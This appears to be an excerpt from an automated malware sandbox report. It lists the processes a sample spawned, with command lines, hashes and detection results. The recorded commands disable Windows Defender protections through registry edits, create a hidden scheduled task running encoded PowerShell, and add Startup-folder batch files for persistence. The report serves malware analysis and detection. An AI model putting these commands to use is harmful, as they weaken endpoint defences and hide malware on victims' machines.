                                                                                                        Has elevated privileges:true
                                                                                                        Has administrator privileges:true
                                                                                                        Programmed in:C, C++ or other language
                                                                                                        Reputation:high
                                                                                                        Has exited:false

                                                                                                        General

                                                                                                        Target ID:14
                                                                                                        Start time:15:12:31
                                                                                                        Start date:21/11/2023
                                                                                                        Path:C:\Users\user\Pictures\8AbV0HUy7VtZhy8wnNLXmsko.exe
                                                                                                        Wow64 process (32bit):true
                                                                                                        Commandline:"C:\Users\user\Pictures\8AbV0HUy7VtZhy8wnNLXmsko.exe"
                                                                                                        Imagebase:0x400000
                                                                                                        File size:4'356'976 bytes
                                                                                                        MD5 hash:D373FF7CB6AC28B844D9C90FC8F1AB3F
                                                                                                        Has elevated privileges:true
                                                                                                        Has administrator privileges:true
                                                                                                        Programmed in:C, C++ or other language
                                                                                                        Reputation:low
                                                                                                        Has exited:false

                                                                                                        General

                                                                                                        Target ID:15
                                                                                                        Start time:15:12:31
                                                                                                        Start date:21/11/2023
                                                                                                        Path:C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exe
                                                                                                        Wow64 process (32bit):false
                                                                                                        Commandline:"C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exe"
                                                                                                        Imagebase:0x7ff6794c0000
                                                                                                        File size:4'966'712 bytes
                                                                                                        MD5 hash:C67B184E265425655EB485932963AF53
                                                                                                        Has elevated privileges:true
                                                                                                        Has administrator privileges:true
                                                                                                        Programmed in:C, C++ or other language
                                                                                                        Reputation:low
                                                                                                        Has exited:true

                                                                                                        General

                                                                                                        Target ID:16
                                                                                                        Start time:15:12:32
                                                                                                        Start date:21/11/2023
                                                                                                        Path:C:\Users\user\Pictures\AdivwWrpQRED15lxH0DgRVgj.exe
                                                                                                        Wow64 process (32bit):true
                                                                                                        Commandline:"C:\Users\user\Pictures\AdivwWrpQRED15lxH0DgRVgj.exe"
                                                                                                        Imagebase:0x400000
                                                                                                        File size:7'643'669 bytes
                                                                                                        MD5 hash:5CCF030395F0F69B0C11A11E26B31833
                                                                                                        Has elevated privileges:true
                                                                                                        Has administrator privileges:true
                                                                                                        Programmed in:C, C++ or other language
                                                                                                        Reputation:low
                                                                                                        Has exited:false

                                                                                                        General

                                                                                                        Target ID:17
                                                                                                        Start time:15:12:33
                                                                                                        Start date:21/11/2023
                                                                                                        Path:C:\Users\user\AppData\Local\Temp\7zSCD80.tmp\Install.exe
                                                                                                        Wow64 process (32bit):true
                                                                                                        Commandline:.\Install.exe
                                                                                                        Imagebase:0x400000
                                                                                                        File size:6'398'488 bytes
                                                                                                        MD5 hash:2CAFB9685610BFF31960C959887426AA
                                                                                                        Has elevated privileges:true
                                                                                                        Has administrator privileges:true
                                                                                                        Programmed in:C, C++ or other language
                                                                                                        Reputation:low
                                                                                                        Has exited:false

                                                                                                        General

                                                                                                        Target ID:18
                                                                                                        Start time:15:12:34
                                                                                                        Start date:21/11/2023
                                                                                                        Path:C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exe
                                                                                                        Wow64 process (32bit):true
                                                                                                        Commandline:"C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --installfolder="C:\Users\user\AppData\Local\Programs\Opera" --profile-folder --language=en-GB --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=2284 --package-dir-prefix="C:\Users\user\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20231121151234" --session-guid=0bda333d-4994-4b67-9b59-0f927372c94a --server-tracking-blob=ZDUxMWEyYzQyYmU3YjNmMDI3NzRlNWM2YTg1YzY1MzdlNGQ4ZGExMzhjNzg4MGQyMThiMzI4OGVlZWIyNTVmNDp7ImNvdW50cnkiOiJVUyIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cy8/dXRtX21lZGl1bT1hcGImdXRtX3NvdXJjZT1ta3QmdXRtX2NhbXBhaWduPTc2NyIsInN5c3RlbSI6eyJwbGF0Zm9ybSI6eyJhcmNoIjoieDg2XzY0Iiwib3BzeXMiOiJXaW5kb3dzIiwib3BzeXMtdmVyc2lvbiI6IjEwIiwicGFja2FnZSI6IkVYRSJ9fSwidGltZXN0YW1wIjoiMTcwMDU3NTk0OS4yNzIzIiwidXRtIjp7ImNhbXBhaWduIjoiNzY3IiwibWVkaXVtIjoiYXBiIiwic291cmNlIjoibWt0In0sInV1aWQiOiI5ZjZlMmVjMS0wNzBjLTRmYWEtODc4OS01ZWEyMjQ2NDhkMTUifQ== --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=7005000000000000
                                                                                                        Imagebase:0x8f0000
                                                                                                        File size:2'939'768 bytes
                                                                                                        MD5 hash:AC33A958FADA5BCB892E03D1FF810D8A
                                                                                                        Has elevated privileges:true
                                                                                                        Has administrator privileges:true
                                                                                                        Programmed in:C, C++ or other language
                                                                                                        Has exited:false

                                                                                                        General

                                                                                                        Target ID:19
                                                                                                        Start time:15:12:35
                                                                                                        Start date:21/11/2023
                                                                                                        Path:C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exe
                                                                                                        Wow64 process (32bit):true
                                                                                                        Commandline:C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exe --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=105.0.4970.16 --initial-client-data=0x2e4,0x2e8,0x2ec,0x2c0,0x2f0,0x6c4774f0,0x6c477500,0x6c47750c
                                                                                                        Imagebase:0x8f0000
                                                                                                        File size:2'939'768 bytes
                                                                                                        MD5 hash:AC33A958FADA5BCB892E03D1FF810D8A
                                                                                                        Has elevated privileges:true
                                                                                                        Has administrator privileges:true
                                                                                                        Programmed in:C, C++ or other language
                                                                                                        Has exited:false

                                                                                                        General

                                                                                                        Target ID:20
                                                                                                        Start time:15:12:36
                                                                                                        Start date:21/11/2023
                                                                                                        Path:C:\Users\user\AppData\Local\Temp\7zSD456.tmp\Install.exe
                                                                                                        Wow64 process (32bit):true
                                                                                                        Commandline:.\Install.exe /eeGFndidj "385121" /S
                                                                                                        Imagebase:0x2c0000
                                                                                                        File size:7'257'600 bytes
                                                                                                        MD5 hash:24A387FDA6E0F36F9AF44D65487C5F5B
                                                                                                        Has elevated privileges:true
                                                                                                        Has administrator privileges:true
                                                                                                        Programmed in:C, C++ or other language
                                                                                                        Has exited:false

                                                                                                        General

                                                                                                        Target ID:21
                                                                                                        Start time:15:12:41
                                                                                                        Start date:21/11/2023
                                                                                                        Path:C:\Windows\System32\cmd.exe
                                                                                                        Wow64 process (32bit):false
                                                                                                        Commandline:C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\4aBHXrK8XjSbEjiL1WIQ7Kmf.bat" "
                                                                                                        Imagebase:0x7ff704bf0000
                                                                                                        File size:289'792 bytes
                                                                                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                        Has elevated privileges:false
                                                                                                        Has administrator privileges:false
                                                                                                        Programmed in:C, C++ or other language
                                                                                                        Has exited:true

                                                                                                        General

                                                                                                        Target ID:22
                                                                                                        Start time:15:12:41
                                                                                                        Start date:21/11/2023
                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                        Wow64 process (32bit):false
                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                        Imagebase:0x7ff70f010000
                                                                                                        File size:862'208 bytes
                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                        Has elevated privileges:false
                                                                                                        Has administrator privileges:false
                                                                                                        Programmed in:C, C++ or other language
                                                                                                        Has exited:true

                                                                                                        General

                                                                                                        Target ID:27
                                                                                                        Start time:15:12:44
                                                                                                        Start date:21/11/2023
                                                                                                        Path:C:\Users\user\Pictures\QsTe5POhA2TpmBwMLub9ymVB.exe
                                                                                                        Wow64 process (32bit):true
                                                                                                        Commandline:"C:\Users\user\Pictures\QsTe5POhA2TpmBwMLub9ymVB.exe"
                                                                                                        Imagebase:0x400000
                                                                                                        File size:263'168 bytes
                                                                                                        MD5 hash:1C4BA9EB815AD39858DEF7341D3CFFF1
                                                                                                        Has elevated privileges:true
                                                                                                        Has administrator privileges:true
                                                                                                        Programmed in:C, C++ or other language
                                                                                                        Has exited:false

                                                                                                        General

                                                                                                        Target ID:28
                                                                                                        Start time:15:12:45
                                                                                                        Start date:21/11/2023
                                                                                                        Path:C:\Users\user\AppData\Local\6V2xKGSdzZOG2l67fqdIp9iJ.exe
                                                                                                        Wow64 process (32bit):true
                                                                                                        Commandline:"C:\Users\user\AppData\Local\6V2xKGSdzZOG2l67fqdIp9iJ.exe"
                                                                                                        Imagebase:0x400000
                                                                                                        File size:263'168 bytes
                                                                                                        MD5 hash:1C4BA9EB815AD39858DEF7341D3CFFF1
                                                                                                        Has elevated privileges:false
                                                                                                        Has administrator privileges:false
                                                                                                        Programmed in:C, C++ or other language
                                                                                                        Antivirus matches:
                                                                                                        • Detection: 100%, Avira
                                                                                                        • Detection: 100%, Joe Sandbox ML
                                                                                                        • Detection: 100%, ReversingLabs
                                                                                                        Has exited:false

                                                                                                        General

                                                                                                        Target ID:29
                                                                                                        Start time:15:12:45
                                                                                                        Start date:21/11/2023
                                                                                                        Path:C:\Users\user\Pictures\OPqTdTFbxWlK6znimRD995XD.exe
                                                                                                        Wow64 process (32bit):true
                                                                                                        Commandline:"C:\Users\user\Pictures\OPqTdTFbxWlK6znimRD995XD.exe" --silent --allusers=0
                                                                                                        Imagebase:0x550000
                                                                                                        File size:2'939'768 bytes
                                                                                                        MD5 hash:9D8AD117253C7E7E5CEBB1CF22A79E68
                                                                                                        Has elevated privileges:true
                                                                                                        Has administrator privileges:true
                                                                                                        Programmed in:C, C++ or other language
                                                                                                        Has exited:true

                                                                                                        General

                                                                                                        Target ID:30
                                                                                                        Start time:15:12:46
                                                                                                        Start date:21/11/2023
                                                                                                        Path:C:\Users\user\Pictures\TNpJBjREJ9Gyf03FTGsVwgMm.exe
                                                                                                        Wow64 process (32bit):true
                                                                                                        Commandline:"C:\Users\user\Pictures\TNpJBjREJ9Gyf03FTGsVwgMm.exe"
                                                                                                        Imagebase:0x400000
                                                                                                        File size:4'356'976 bytes
                                                                                                        MD5 hash:D373FF7CB6AC28B844D9C90FC8F1AB3F
                                                                                                        Has elevated privileges:true
                                                                                                        Has administrator privileges:true
                                                                                                        Programmed in:C, C++ or other language
                                                                                                        Has exited:false

                                                                                                        General

                                                                                                        Target ID:31
                                                                                                        Start time:15:12:46
                                                                                                        Start date:21/11/2023
                                                                                                        Path:C:\Users\user\Pictures\6Y6HZLXw0Y38mRwaQb51f9Xr.exe
                                                                                                        Wow64 process (32bit):false
                                                                                                        Commandline:"C:\Users\user\Pictures\6Y6HZLXw0Y38mRwaQb51f9Xr.exe"
                                                                                                        Imagebase:0x7ff645f60000
                                                                                                        File size:5'494'552 bytes
                                                                                                        MD5 hash:9873907D252DCECD6BAEA9A11AC4B0DA
                                                                                                        Has elevated privileges:true
                                                                                                        Has administrator privileges:true
                                                                                                        Programmed in:C, C++ or other language
                                                                                                        Has exited:true

                                                                                                        General

                                                                                                        Target ID:32
                                                                                                        Start time:15:12:47
                                                                                                        Start date:21/11/2023
                                                                                                        Path:C:\Users\user\Pictures\jmqKcbM6AONnRhvOZmBZdvm3.exe
                                                                                                        Wow64 process (32bit):true
                                                                                                        Commandline:"C:\Users\user\Pictures\jmqKcbM6AONnRhvOZmBZdvm3.exe"
                                                                                                        Imagebase:0x400000
                                                                                                        File size:7'643'669 bytes
                                                                                                        MD5 hash:5CCF030395F0F69B0C11A11E26B31833
                                                                                                        Has elevated privileges:true
                                                                                                        Has administrator privileges:true
                                                                                                        Programmed in:C, C++ or other language
                                                                                                        Has exited:true

                                                                                                        General

                                                                                                        Target ID:33
                                                                                                        Start time:15:12:47
                                                                                                        Start date:21/11/2023
                                                                                                        Path:C:\Users\user\Pictures\5zZpiaRyAwCkDYAcy3rJRYSk.exe
                                                                                                        Wow64 process (32bit):false
                                                                                                        Commandline:"C:\Users\user\Pictures\5zZpiaRyAwCkDYAcy3rJRYSk.exe"
                                                                                                        Imagebase:0x7ff7e4bc0000
                                                                                                        File size:4'966'712 bytes
                                                                                                        MD5 hash:C67B184E265425655EB485932963AF53
                                                                                                        Has elevated privileges:true
                                                                                                        Has administrator privileges:true
                                                                                                        Programmed in:C, C++ or other language
                                                                                                        Has exited:true

                                                                                                        General

                                                                                                        Target ID:34
                                                                                                        Start time:15:12:48
                                                                                                        Start date:21/11/2023
                                                                                                        Path:C:\Windows\SysWOW64\forfiles.exe
                                                                                                        Wow64 process (32bit):true
                                                                                                        Commandline:C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&
                                                                                                        Imagebase:0xe10000
                                                                                                        File size:41'472 bytes
                                                                                                        MD5 hash:D95C443851F70F77427B3183B1619DD3
                                                                                                        Has elevated privileges:true
                                                                                                        Has administrator privileges:true
                                                                                                        Programmed in:C, C++ or other language
                                                                                                        Has exited:true

                                                                                                        General

                                                                                                        Target ID:35
                                                                                                        Start time:15:12:48
                                                                                                        Start date:21/11/2023
                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                        Wow64 process (32bit):false
                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                        Imagebase:0x7ff70f010000
                                                                                                        File size:862'208 bytes
                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                        Has elevated privileges:true
                                                                                                        Has administrator privileges:true
                                                                                                        Programmed in:C, C++ or other language
                                                                                                        Has exited:true

                                                                                                        General

                                                                                                        Target ID:36
                                                                                                        Start time:15:12:50
                                                                                                        Start date:21/11/2023
                                                                                                        Path:C:\Windows\SysWOW64\forfiles.exe
                                                                                                        Wow64 process (32bit):true
                                                                                                        Commandline:C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&
                                                                                                        Imagebase:0xe10000
                                                                                                        File size:41'472 bytes
                                                                                                        MD5 hash:D95C443851F70F77427B3183B1619DD3
                                                                                                        Has elevated privileges:true
                                                                                                        Has administrator privileges:true
                                                                                                        Programmed in:C, C++ or other language
                                                                                                        Has exited:true

                                                                                                        General

                                                                                                        Target ID:37
                                                                                                        Start time:15:12:50
                                                                                                        Start date:21/11/2023
                                                                                                        Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                        Wow64 process (32bit):true
                                                                                                        Commandline:/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
                                                                                                        Imagebase:0xc50000
                                                                                                        File size:236'544 bytes
                                                                                                        MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                        Has elevated privileges:true
                                                                                                        Has administrator privileges:true
                                                                                                        Programmed in:C, C++ or other language
                                                                                                        Has exited:true

                                                                                                        General

                                                                                                        Target ID:38
                                                                                                        Start time:15:12:51
                                                                                                        Start date:21/11/2023
                                                                                                        Path:C:\Users\user\Pictures\HLT0AIxjEwuNSfgdyWiT3ueK.exe
                                                                                                        Wow64 process (32bit):true
                                                                                                        Commandline:"C:\Users\user\Pictures\HLT0AIxjEwuNSfgdyWiT3ueK.exe"
                                                                                                        Imagebase:0x400000
                                                                                                        File size:263'168 bytes
                                                                                                        MD5 hash:1C4BA9EB815AD39858DEF7341D3CFFF1
                                                                                                        Has elevated privileges:true
                                                                                                        Has administrator privileges:true
                                                                                                        Programmed in:C, C++ or other language
                                                                                                        Has exited:false

                                                                                                        General

                                                                                                        Target ID:39
                                                                                                        Start time:15:12:52
                                                                                                        Start date:21/11/2023
                                                                                                        Path:C:\Users\user\AppData\Local\Temp\7zSD77.tmp\Install.exe
                                                                                                        Wow64 process (32bit):true
                                                                                                        Commandline:.\Install.exe
                                                                                                        Imagebase:0x400000
                                                                                                        File size:6'398'488 bytes
                                                                                                        MD5 hash:2CAFB9685610BFF31960C959887426AA
                                                                                                        Has elevated privileges:true
                                                                                                        Has administrator privileges:true
                                                                                                        Programmed in:C, C++ or other language
                                                                                                        Has exited:true

                                                                                                        General

                                                                                                        Target ID:40
                                                                                                        Start time:15:12:52
                                                                                                        Start date:21/11/2023
                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                        Wow64 process (32bit):false
                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                        Imagebase:0x7ff70f010000
                                                                                                        File size:862'208 bytes
                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                        Has elevated privileges:true
                                                                                                        Has administrator privileges:true
                                                                                                        Programmed in:C, C++ or other language
                                                                                                        Has exited:true

                                                                                                        General

                                                                                                        Target ID:41
                                                                                                        Start time:15:12:53
                                                                                                        Start date:21/11/2023
                                                                                                        Path:C:\Users\user\Pictures\LnQdFAFVk46H7elzEZZ3Xdvx.exe
                                                                                                        Wow64 process (32bit):true
                                                                                                        Commandline:"C:\Users\user\Pictures\LnQdFAFVk46H7elzEZZ3Xdvx.exe" --silent --allusers=0
                                                                                                        Imagebase:0x510000
                                                                                                        File size:2'939'768 bytes
                                                                                                        MD5 hash:AA41F78F1F683FA82608B042E57ECA06
                                                                                                        Has elevated privileges:true
                                                                                                        Has administrator privileges:true
                                                                                                        Programmed in:C, C++ or other language
                                                                                                        Has exited:true

                                                                                                        General

                                                                                                        Target ID:42
                                                                                                        Start time:15:12:53
                                                                                                        Start date:21/11/2023
                                                                                                        Path:C:\Users\user\Pictures\OPqTdTFbxWlK6znimRD995XD.exe
                                                                                                        Wow64 process (32bit):true
                                                                                                        Commandline:C:\Users\user\Pictures\OPqTdTFbxWlK6znimRD995XD.exe --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=105.0.4970.16 --initial-client-data=0x2e4,0x2e8,0x2ec,0x2c0,0x2f0,0x6b3d74f0,0x6b3d7500,0x6b3d750c
                                                                                                        Imagebase:0x550000
                                                                                                        File size:2'939'768 bytes
                                                                                                        MD5 hash:9D8AD117253C7E7E5CEBB1CF22A79E68
                                                                                                        Has elevated privileges:true
                                                                                                        Has administrator privileges:true
                                                                                                        Programmed in:C, C++ or other language
                                                                                                        Has exited:true

                                                                                                        General

                                                                                                        Target ID:43
                                                                                                        Start time:15:12:53
                                                                                                        Start date:21/11/2023
                                                                                                        Path:C:\Users\user\Pictures\loKi89nha4JKgsufhuKQ22oF.exe
                                                                                                        Wow64 process (32bit):true
                                                                                                        Commandline:"C:\Users\user\Pictures\loKi89nha4JKgsufhuKQ22oF.exe"
                                                                                                        Imagebase:0x400000
                                                                                                        File size:4'356'976 bytes
                                                                                                        MD5 hash:D373FF7CB6AC28B844D9C90FC8F1AB3F
                                                                                                        Has elevated privileges:true
                                                                                                        Has administrator privileges:true
                                                                                                        Programmed in:C, C++ or other language
                                                                                                        Has exited:false

                                                                                                        General

                                                                                                        Target ID:44
                                                                                                        Start time:15:12:53
                                                                                                        Start date:21/11/2023
                                                                                                        Path:C:\Windows\SysWOW64\reg.exe
                                                                                                        Wow64 process (32bit):true
                                                                                                        Commandline:REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
                                                                                                        Imagebase:0x20000
                                                                                                        File size:59'392 bytes
                                                                                                        MD5 hash:CDD462E86EC0F20DE2A1D781928B1B0C
                                                                                                        Has elevated privileges:true
                                                                                                        Has administrator privileges:true
                                                                                                        Programmed in:C, C++ or other language
                                                                                                        Has exited:true

                                                                                                        General

                                                                                                        Target ID:45
                                                                                                        Start time:15:12:53
                                                                                                        Start date:21/11/2023
                                                                                                        Path:C:\Users\user\Pictures\BRaFXbmvcphOkoXIZ6VZLdvL.exe
                                                                                                        Wow64 process (32bit):true
                                                                                                        Commandline:"C:\Users\user\Pictures\BRaFXbmvcphOkoXIZ6VZLdvL.exe"
                                                                                                        Imagebase:0x400000
                                                                                                        File size:7'643'669 bytes
                                                                                                        MD5 hash:5CCF030395F0F69B0C11A11E26B31833
                                                                                                        Has elevated privileges:true
                                                                                                        Has administrator privileges:true
                                                                                                        Programmed in:C, C++ or other language
                                                                                                        Has exited:true

                                                                                                        General

                                                                                                        Target ID:46
                                                                                                        Start time:15:12:53
                                                                                                        Start date:21/11/2023
                                                                                                        Path:C:\Windows\System32\cmd.exe
                                                                                                        Wow64 process (32bit):false
                                                                                                        Commandline:C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AS0hnlpl66MtE0KLhjjOLNaC.bat" "
                                                                                                        Imagebase:0x7ff704bf0000
                                                                                                        File size:289'792 bytes
                                                                                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                        Has elevated privileges:false
                                                                                                        Has administrator privileges:false
                                                                                                        Programmed in:C, C++ or other language
                                                                                                        Has exited:true

                                                                                                        General

                                                                                                        Target ID:47
                                                                                                        Start time:15:12:54
                                                                                                        Start date:21/11/2023
                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                        Wow64 process (32bit):false
                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                        Imagebase:0x7ff70f010000
                                                                                                        File size:862'208 bytes
                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                        Has elevated privileges:false
                                                                                                        Has administrator privileges:false
                                                                                                        Programmed in:C, C++ or other language
                                                                                                        Has exited:true

                                                                                                        General

                                                                                                        Target ID:48
                                                                                                        Start time:15:12:55
                                                                                                        Start date:21/11/2023
                                                                                                        Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                        Wow64 process (32bit):true
                                                                                                        Commandline:/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
                                                                                                        Imagebase:0xc50000
                                                                                                        File size:236'544 bytes
                                                                                                        MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                        Has elevated privileges:true
                                                                                                        Has administrator privileges:true
                                                                                                        Programmed in:C, C++ or other language
                                                                                                        Has exited:true

                                                                                                        General

                                                                                                        Target ID:49
                                                                                                        Start time:15:12:59
                                                                                                        Start date:21/11/2023
                                                                                                        Path:C:\Windows\SysWOW64\schtasks.exe
                                                                                                        Wow64 process (32bit):true
                                                                                                        Commandline:schtasks /CREATE /TN "gXUhwMAMn" /SC once /ST 08:40:27 /F /RU "user" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                        Imagebase:0x2d0000
                                                                                                        File size:187'904 bytes
                                                                                                        MD5 hash:48C2FE20575769DE916F48EF0676A965
                                                                                                        Has elevated privileges:true
                                                                                                        Has administrator privileges:true
                                                                                                        Programmed in:C, C++ or other language
                                                                                                        Has exited:true

                                                                                                        General

                                                                                                        Target ID:50
                                                                                                        Start time:15:12:59
                                                                                                        Start date:21/11/2023
                                                                                                        Path:C:\Windows\SysWOW64\reg.exe
                                                                                                        Wow64 process (32bit):true
                                                                                                        Commandline:REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
                                                                                                        Imagebase:0x20000
                                                                                                        File size:59'392 bytes
                                                                                                        MD5 hash:CDD462E86EC0F20DE2A1D781928B1B0C
                                                                                                        Has elevated privileges:true
                                                                                                        Has administrator privileges:true
                                                                                                        Programmed in:C, C++ or other language
                                                                                                        Has exited:true

                                                                                                        General

                                                                                                        Target ID:51
                                                                                                        Start time:15:12:59
                                                                                                        Start date:21/11/2023
                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                        Wow64 process (32bit):false
                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                        Imagebase:0x7ff70f010000
                                                                                                        File size:862'208 bytes
                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                        Has elevated privileges:true
                                                                                                        Has administrator privileges:true
                                                                                                        Programmed in:C, C++ or other language
                                                                                                        Has exited:true

                                                                                                        General

                                                                                                        Target ID:52
                                                                                                        Start time:15:12:59
                                                                                                        Start date:21/11/2023
                                                                                                        Path:C:\Users\user\Pictures\yYAwgDWrkYJyyOGvYzyiJrxu.exe
                                                                                                        Wow64 process (32bit):false
                                                                                                        Commandline:"C:\Users\user\Pictures\yYAwgDWrkYJyyOGvYzyiJrxu.exe"
                                                                                                        Imagebase:0x7ff739210000
                                                                                                        File size:4'966'712 bytes
                                                                                                        MD5 hash:C67B184E265425655EB485932963AF53
                                                                                                        Has elevated privileges:true
                                                                                                        Has administrator privileges:true
                                                                                                        Programmed in:C, C++ or other language
                                                                                                        Has exited:true

                                                                                                        Disassembly

                                                                                                        Reset < >

                                                                                                          Execution Graph

                                                                                                          Execution Coverage:9.2%
                                                                                                          Dynamic/Decrypted Code Coverage:100%
                                                                                                          Signature Coverage:0%
                                                                                                          Total number of Nodes:39
                                                                                                          Total number of Limit Nodes:3
                                                                                                          execution_graph 11475 296d3e0 11476 296d426 GetCurrentProcess 11475->11476 11478 296d471 11476->11478 11479 296d478 GetCurrentThread 11476->11479 11478->11479 11480 296d4b5 GetCurrentProcess 11479->11480 11481 296d4ae 11479->11481 11482 296d4eb GetCurrentThreadId 11480->11482 11481->11480 11484 296d544 11482->11484 11485 296d628 DuplicateHandle 11486 296d6be 11485->11486 11487 296b058 11490 296b150 11487->11490 11488 296b067 11491 296b161 11490->11491 11493 296b184 11490->11493 11491->11493 11497 296b3e8 11491->11497 11492 296b17c 11492->11493 11494 296b388 GetModuleHandleW 11492->11494 11493->11488 11495 296b3b5 11494->11495 11495->11488 11498 296b3fc 11497->11498 11500 296b421 11498->11500 11501 296ab78 11498->11501 11500->11492 11502 296b5c8 LoadLibraryExW 11501->11502 11504 296b641 11502->11504 11504->11500 11505 2964668 11506 2964674 11505->11506 11508 2964787 11505->11508 11509 29647a5 11508->11509 11513 2964890 11509->11513 11517 2964880 11509->11517 11510 29647af 11510->11506 11514 29648b7 11513->11514 11516 2964994 11514->11516 11521 29644b0 11514->11521 11516->11510 11519 2964890 11517->11519 11518 2964994 11518->11510 11519->11518 11520 29644b0 CreateActCtxA 11519->11520 11520->11518 11522 2965920 CreateActCtxA 11521->11522 11524 29659e3 11522->11524

                                                                                                          Executed Functions

                                                                                                          Function 02964668 Relevance: 1.3, Strings: 1, Instructions: 29COMMON
                                                                                                          Download Yara Rule

                                                                                                          Control-flow Graph

                                                                                                          • Executed
                                                                                                          • Not Executed
                                                                                                          control_flow_graph 437 2964668-296466d 445 296466e call 2964787 437->445 446 296466e call 29646bf 437->446 438 2964674-29646ac call 2963e28 443 29646b1-29646bd 438->443 445->438 446->438
                                                                                                          Strings
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000000.00000002.1468103571.0000000002960000.00000040.00000800.00020000.00000000.sdmp, Offset: 02960000, based on PE: false
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_0_2_2960000_file.jbxd
                                                                                                          Similarity
                                                                                                          • API ID:
                                                                                                          • String ID: P u
                                                                                                          • API String ID: 0-638998195
                                                                                                          • Opcode ID: 71ba47426ca37b348bc3b1da4a0619e1ab81c8d746b1503c51d22008f9400505
